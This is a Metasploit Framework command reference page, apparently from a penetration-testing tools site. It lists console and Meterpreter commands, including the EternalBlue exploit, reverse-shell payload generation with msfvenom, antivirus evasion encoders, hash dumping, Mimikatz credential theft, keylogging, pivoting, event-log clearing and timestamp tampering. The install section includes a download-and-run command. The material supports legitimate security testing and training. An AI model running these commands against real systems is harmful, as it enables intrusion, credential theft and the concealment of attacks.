# Metasploit Framework

> The most widely used exploitation framework: thousands of exploits, payloads and post-exploitation modules plus a workspace database.

- Category: Exploitation
- Commands: 140
- Page: https://terminal.rokibulroni.com/tool/exploitation/metasploit
- Homepage: https://www.metasploit.com
- Documentation: https://docs.metasploit.com
- Tags: exploitation, framework, post-exploitation

## Install

- apt: `sudo apt install metasploit-framework`
- other: `curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall`

## Core Console Usage

### msfconsole

```bash
msfconsole
```

Launches the Metasploit Framework interactive console.

### msfconsole -q

```bash
msfconsole -q
```

Starts the console in quiet mode, suppressing the startup banner.

### help

```bash
help
```

Displays the main help menu with a list of available commands.

### version

```bash
version
```

Shows the current version of the Metasploit Framework.

### history

```bash
history
```

Displays a list of previously executed commands in the current session.

### connect

```bash
connect
```

Example:

```bash
connect 192.168.1.10 80
```

Uses the built-in Netcat-like utility to connect to a remote host and port.


## Database Management

### db_status

```bash
db_status
```

Checks the connection status to the backend database.

### workspace

```bash
workspace
```

Lists all available workspaces in the database.

### workspace -a

```bash
workspace -a
```

Example:

```bash
workspace -a Target_Alpha
```

Creates and switches to a new workspace named Target_Alpha.

### workspace

```bash
workspace
```

Example:

```bash
workspace Target_Alpha
```

Switches the current active workspace to Target_Alpha.

### db_nmap

```bash
db_nmap
```

Example:

```bash
db_nmap -sV 192.168.1.10
```

Runs Nmap within Metasploit and automatically saves results to the database.

### hosts

```bash
hosts
```

Lists all hosts found and stored in the current workspace database.

### services

```bash
services
```

Lists all services and open ports discovered on stored hosts.

### services -p

```bash
services -p
```

Example:

```bash
services -p 445
```

Filters and displays only hosts with port 445 open.

### vulns

```bash
vulns
```

Displays vulnerabilities associated with hosts in the database.

### creds

```bash
creds
```

Lists all credentials (usernames, passwords, hashes) gathered in the database.


## Module Discovery

### search

```bash
search
```

Example:

```bash
search eternalblue
```

Searches for modules related to a specific keyword.

### search type

```bash
search type
```

Example:

```bash
search type:exploit platform:windows
```

Filters search results by module type and target platform.

### search cve

```bash
search cve
```

Example:

```bash
search cve:2017-0144
```

Searches for modules matching a specific CVE identifier.


## Module Selection

### use

```bash
use
```

Example:

```bash
use exploit/windows/smb/ms17_010_eternalblue
```

Selects and loads a specific module for configuration.

### back

```bash
back
```

Unloads the current module and returns to the main prompt.

### info

```bash
info
```

Displays detailed information, options, and references for the active module.


## Module Configuration

### show options

```bash
show options
```

Lists the required and optional parameters for the current module.

### show targets

```bash
show targets
```

Lists the operating systems or versions supported by the exploit.

### show payloads

```bash
show payloads
```

Lists compatible payloads for the currently selected exploit.

### show advanced

```bash
show advanced
```

Displays advanced configuration options for fine-tuning the module.

### set

```bash
set
```

Example:

```bash
set RHOSTS 192.168.1.10
```

Configures a specific option (e.g., target IP) for the module.

### setg

```bash
setg
```

Example:

```bash
setg RHOSTS 192.168.1.10
```

Sets a global variable that persists across different modules.

### unset

```bash
unset
```

Example:

```bash
unset RHOSTS
```

Removes the value of a specific option.

### set TARGET

```bash
set TARGET
```

Example:

```bash
set TARGET 3
```

Manually selects a specific target ID from the 'show targets' list.


## Payload Configuration

### set PAYLOAD

```bash
set PAYLOAD
```

Example:

```bash
set PAYLOAD windows/x64/meterpreter/reverse_tcp
```

Assigns a specific payload to be delivered by the exploit.

### set LHOST

```bash
set LHOST
```

Example:

```bash
set LHOST 192.168.1.50
```

Sets the local IP address for the payload to connect back to.

### set LPORT

```bash
set LPORT
```

Example:

```bash
set LPORT 4444
```

Sets the local listening port for the reverse connection.


## Auxiliary Modules

### use auxiliary

```bash
use auxiliary
```

Example:

```bash
use auxiliary/scanner/smb/smb_version
```

Selects an auxiliary module used for scanning or enumeration.

### run

```bash
run
```

Executes the currently selected auxiliary or post-exploitation module.


## Exploitation

### check

```bash
check
```

Attempts to verify if the target is vulnerable without exploiting it.

### exploit

```bash
exploit
```

Executes the exploit module against the target.

### exploit -j

```bash
exploit -j
```

Runs the exploit in the background as a job.

### exploit -z

```bash
exploit -z
```

Exploits the target but keeps the session in the background immediately.


## Job Control

### jobs

```bash
jobs
```

Lists currently running background jobs.

### kill

```bash
kill
```

Example:

```bash
kill 1
```

Terminates a specific background job by its ID.


## Encoders & Evasion

### show encoders

```bash
show encoders
```

Lists available encoders to obfuscate the payload.

### set ENCODER

```bash
set ENCODER
```

Example:

```bash
set ENCODER x86/shikata_ga_nai
```

Applies a specific encoder to the payload to attempt AV evasion.

### generate

```bash
generate
```

Example:

```bash
generate -f exe -o shell.exe
```

Generates a payload file (executable) from the current configuration.


## Session Management

### sessions

```bash
sessions
```

Lists all active sessions connected to the framework.

### sessions -i

```bash
sessions -i
```

Example:

```bash
sessions -i 1
```

Interacts with specific session ID 1.

### sessions -k

```bash
sessions -k
```

Example:

```bash
sessions -k 2
```

Kills and terminates session ID 2.

### sessions -u

```bash
sessions -u
```

Example:

```bash
sessions -u 1
```

Attempts to upgrade a shell session (ID 1) to a Meterpreter session.

### background

```bash
background
```

Moves the current interactive session to the background.


## Meterpreter: Core

### sysinfo

```bash
sysinfo
```

Displays system information about the compromised host (OS, Arch, Domain).

### getuid

```bash
getuid
```

Displays the user identity that the Meterpreter session is running as.

### getpid

```bash
getpid
```

Shows the Process ID (PID) of the current Meterpreter session.

### getprivs

```bash
getprivs
```

Lists the privileges available to the current user process.

### ps

```bash
ps
```

Lists all running processes on the target system.

### migrate

```bash
migrate
```

Example:

```bash
migrate 1432
```

Moves the Meterpreter session into another process ID to ensure persistence.


## Meterpreter: File System

### pwd

```bash
pwd
```

Prints the current working directory on the remote target.

### ls

```bash
ls
```

Lists files and directories in the current remote folder.

### cd

```bash
cd
```

Example:

```bash
cd C:\Windows\Temp
```

Changes the directory on the remote target.

### cat

```bash
cat
```

Example:

```bash
cat config.txt
```

Reads and displays the contents of a file on the remote target.

### lpwd

```bash
lpwd
```

Prints the local working directory (on the attacker's machine).

### lcd

```bash
lcd
```

Example:

```bash
lcd /root/loot
```

Changes the local working directory on the attacker's machine.

### upload

```bash
upload
```

Example:

```bash
upload /root/tools/nc.exe C:\Windows\Temp\nc.exe
```

Uploads a file from the attacker's machine to the target system.

### download

```bash
download
```

Example:

```bash
download C:\Users\Alice\Desktop\passwords.txt
```

Downloads a file from the target system to the attacker's machine.

### search

```bash
search
```

Example:

```bash
search -f *.docx
```

Searches for files matching a pattern on the remote file system.


## Meterpreter: Networking

### ipconfig

```bash
ipconfig
```

Displays the network interfaces and IP addresses of the target.

### ifconfig

```bash
ifconfig
```

Alternative command to display network interfaces (Linux/Unix).

### netstat

```bash
netstat
```

Displays active network connections and listening ports on the target.

### arp

```bash
arp
```

Displays the ARP cache of the target system.

### route

```bash
route
```

Displays the routing table of the target system.

### portfwd add

```bash
portfwd add
```

Example:

```bash
portfwd add -l 8080 -p 80 -r 10.10.10.5
```

Forwards a local port to a remote service through the Meterpreter session.

### portfwd list

```bash
portfwd list
```

Lists active port forwarding rules in the current session.

### resolve

```bash
resolve
```

Example:

```bash
resolve internal.lab.local
```

Resolves a hostname to an IP address on the target network.


## Meterpreter: System Interaction

### shell

```bash
shell
```

Drops into a standard system shell (cmd.exe or /bin/bash) on the target.

### execute

```bash
execute
```

Example:

```bash
execute -f cmd.exe -i -H
```

Executes a command on the remote target, optionally hidden and interactive.

### shutdown

```bash
shutdown
```

Shuts down the remote computer (Use with extreme caution).

### reboot

```bash
reboot
```

Reboots the remote computer (Use with extreme caution).


## Meterpreter: Credential Harvesting

### getsystem

```bash
getsystem
```

Attempts multiple techniques to elevate privileges to SYSTEM/Root.

### hashdump

```bash
hashdump
```

Dumps the SAM database contents (password hashes) from the target.

### load kiwi

```bash
load kiwi
```

Loads the Kiwi extension (Mimikatz integration) for advanced credential theft.

### creds_all

```bash
creds_all
```

Retrieves all available credentials using the Kiwi extension.


## Meterpreter: User Monitoring

### screenshot

```bash
screenshot
```

Takes a screenshot of the target's current desktop.

### screenshare

```bash
screenshare
```

Streams the target's desktop to a browser on the attacker's machine.

### keyscan_start

```bash
keyscan_start
```

Starts the keylogger to capture keystrokes on the target.

### keyscan_dump

```bash
keyscan_dump
```

Dumps the captured keystrokes from the memory buffer.

### keyscan_stop

```bash
keyscan_stop
```

Stops the keylogger capture process.

### idletime

```bash
idletime
```

Displays how long the remote user has been idle.


## Post Exploitation

### use post

```bash
use post
```

Example:

```bash
use post/windows/gather/enum_applications
```

Selects a post-exploitation module to gather info from a session.

### set SESSION

```bash
set SESSION
```

Example:

```bash
set SESSION 1
```

Links a post-exploitation module to an active session ID.

### run post/windows/gather/checkvm

```bash
run post/windows/gather/checkvm
```

Checks if the target system is a virtual machine.

### run post/windows/manage/migrate

```bash
run post/windows/manage/migrate
```

Automatically migrates the session to a stable process.

### run post/linux/gather/hashdump

```bash
run post/linux/gather/hashdump
```

Dumps password hashes from a Linux target shadow file.

### run post/multi/recon/local_exploit_suggester

```bash
run post/multi/recon/local_exploit_suggester
```

Suggests local exploits for privilege escalation based on system info.


## Pivoting & Routing

### route add

```bash
route add
```

Example:

```bash
route add 10.10.10.0 255.255.255.0 1
```

Routes traffic for the 10.10.10.0 network through session ID 1.

### route print

```bash
route print
```

Displays the current routing table within Metasploit.

### run autoroute

```bash
run autoroute
```

Example:

```bash
run autoroute -s 10.10.10.0/24
```

Automatically adds a route to a subnet via the current Meterpreter session.

### use auxiliary/server/socks_proxy

```bash
use auxiliary/server/socks_proxy
```

Starts a SOCKS proxy to allow external tools to use the pivot.


## Listener Setup

### use exploit/multi/handler

```bash
use exploit/multi/handler
```

Sets up a generic listener to catch incoming shell/meterpreter connections.

### set ExitOnSession

```bash
set ExitOnSession
```

Example:

```bash
set ExitOnSession false
```

Keeps the listener active even after a session is received.


## Logging & Output

### spool

```bash
spool
```

Example:

```bash
spool log_output.txt
```

Saves all console output to a file for documentation.

### spool off

```bash
spool off
```

Stops saving console output to the file.


## Automation & Scripting

### makerc

```bash
makerc
```

Example:

```bash
makerc startup.rc
```

Saves the commands executed in the current session to a resource file.

### resource

```bash
resource
```

Example:

```bash
resource startup.rc
```

Executes a list of commands stored in a resource script file.

### msfconsole -r

```bash
msfconsole -r
```

Example:

```bash
msfconsole -r automated.rc
```

Launches Metasploit and immediately runs the specified resource script.


## Payload Generation

### msfvenom

```bash
msfvenom
```

Example:

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe > payload.exe
```

Generates a standalone payload executable from the command line (outside console).


## Advanced

### load

```bash
load
```

Example:

```bash
load powershell
```

Loads a plugin (e.g., PowerShell) into the Metasploit framework.

### unload

```bash
unload
```

Example:

```bash
unload kiwi
```

Unloads an active plugin or extension.

### advanced

```bash
advanced
```

Shows advanced options for the current module (alias for show advanced).

### edit

```bash
edit
```

Opens the currently selected module code in the default text editor.

### reload_all

```bash
reload_all
```

Reloads all modules from the disk, useful if you edited a module.


## Cleanup

### clearev

```bash
clearev
```

Clears the Application, System, and Security event logs on Windows (Meterpreter).

### timestomp

```bash
timestomp
```

Example:

```bash
timestomp file.txt -v
```

Manipulates file timestamps (MACE attributes) to hide file modification times.


## Web Exploitation

### load wmap

```bash
load wmap
```

Loads the WMAP web application scanning plugin.

### wmap_sites -a

```bash
wmap_sites -a
```

Example:

```bash
wmap_sites -a http://192.168.1.10
```

Adds a site to the WMAP target list.

### wmap_targets -t

```bash
wmap_targets -t
```

Example:

```bash
wmap_targets -t http://192.168.1.10
```

Sets the target URL for WMAP scanning.

### wmap_run -e

```bash
wmap_run -e
```

Runs the WMAP modules against the configured targets.


## Defense Evasion

### set StageEncoder

```bash
set StageEncoder
```

Example:

```bash
set StageEncoder x86/shikata_ga_nai
```

Encodes the second stage of the payload sent over the network.

### set EnableStageEncoding

```bash
set EnableStageEncoding
```

Example:

```bash
set EnableStageEncoding true
```

Enables encoding for the payload stage to evade network intrusion detection.


## Exploit Options

### set AutoRunScript

```bash
set AutoRunScript
```

Example:

```bash
set AutoRunScript post/windows/manage/migrate
```

Specifies a script to run automatically as soon as a session is created.

### set PrependMigrate

```bash
set PrependMigrate
```

Example:

```bash
set PrependMigrate true
```

Configures the payload to migrate to a new process immediately upon execution.


## Credentials

### db_import

```bash
db_import
```

Example:

```bash
db_import scan_results.xml
```

Imports scan results from tools like Nessus or Nmap into the database.


## Transport

### transport list

```bash
transport list
```

Lists available transport mechanisms (e.g., HTTP, TCP) for the current session.

### transport add

```bash
transport add
```

Example:

```bash
transport add -t reverse_tcp -l 192.168.1.50 -p 5555
```

Adds a secondary transport layer to a Meterpreter session for redundancy.

### transport next

```bash
transport next
```

Forces the Meterpreter session to switch to the next available transport.


## Extensions

### load python

```bash
load python
```

Loads the Python extension to run Python scripts within Meterpreter.


## Debugging

### debug

```bash
debug
```

Enables debugging output for troubleshooting module issues.


## Ruby Interaction

### irb

```bash
irb
```

Drops into an interactive Ruby shell within the current session context.


## Payloads

### set HandlerSSLCert

```bash
set HandlerSSLCert
```

Example:

```bash
set HandlerSSLCert /path/to/cert.pem
```

Uses a custom SSL certificate for HTTPS listeners to mimic legitimate traffic.


## Pivoting

### portfwd delete

```bash
portfwd delete
```

Example:

```bash
portfwd delete -l 8080
```

Removes a specific port forwarding rule.

### portfwd flush

```bash
portfwd flush
```

Removes all active port forwarding rules.


## Enumeration

### run post/windows/gather/enum_patches

```bash
run post/windows/gather/enum_patches
```

Enumerates installed patches on a Windows target to identify missing updates.

### run post/windows/gather/enum_shares

```bash
run post/windows/gather/enum_shares
```

Lists network shares available on the target system.

### run post/multi/gather/env

```bash
run post/multi/gather/env
```

Reads the environment variables from the target system.


## Exploitation

### set ForceExploit

```bash
set ForceExploit
```

Example:

```bash
set ForceExploit true
```

Forces the exploit to run even if the check determines the target is not vulnerable.


## General

### notes

```bash
notes
```

Displays any notes manually added to the database regarding hosts.

### loot

```bash
loot
```

Lists all gathered loot (hashes, files) stored in the database.


## Meterpreter: Incognito

### load incognito

```bash
load incognito
```

Loads the Incognito extension for token manipulation.

### list_tokens -u

```bash
list_tokens -u
```

Lists available delegation and impersonation tokens by user.

### impersonate_token

```bash
impersonate_token
```

Example:

```bash
impersonate_token "DOMAIN\Administrator"
```

Impersonates the specified user token to escalate privileges.


## Cleanup

### rm

```bash
rm
```

Example:

```bash
rm C:\Windows\Temp\payload.exe
```

Deletes a file on the remote system (Standard Meterpreter command).


## Termination

### exit

```bash
exit
```

Exits the Metasploit console.

## Related tools

- [msfconsole](https://terminal.rokibulroni.com/tool/exploitation/msfconsole)
- [msfvenom](https://terminal.rokibulroni.com/tool/exploitation/msfvenom)
- [SearchSploit](https://terminal.rokibulroni.com/tool/exploitation/searchsploit)
- [Sliver](https://terminal.rokibulroni.com/tool/exploitation/sliver)
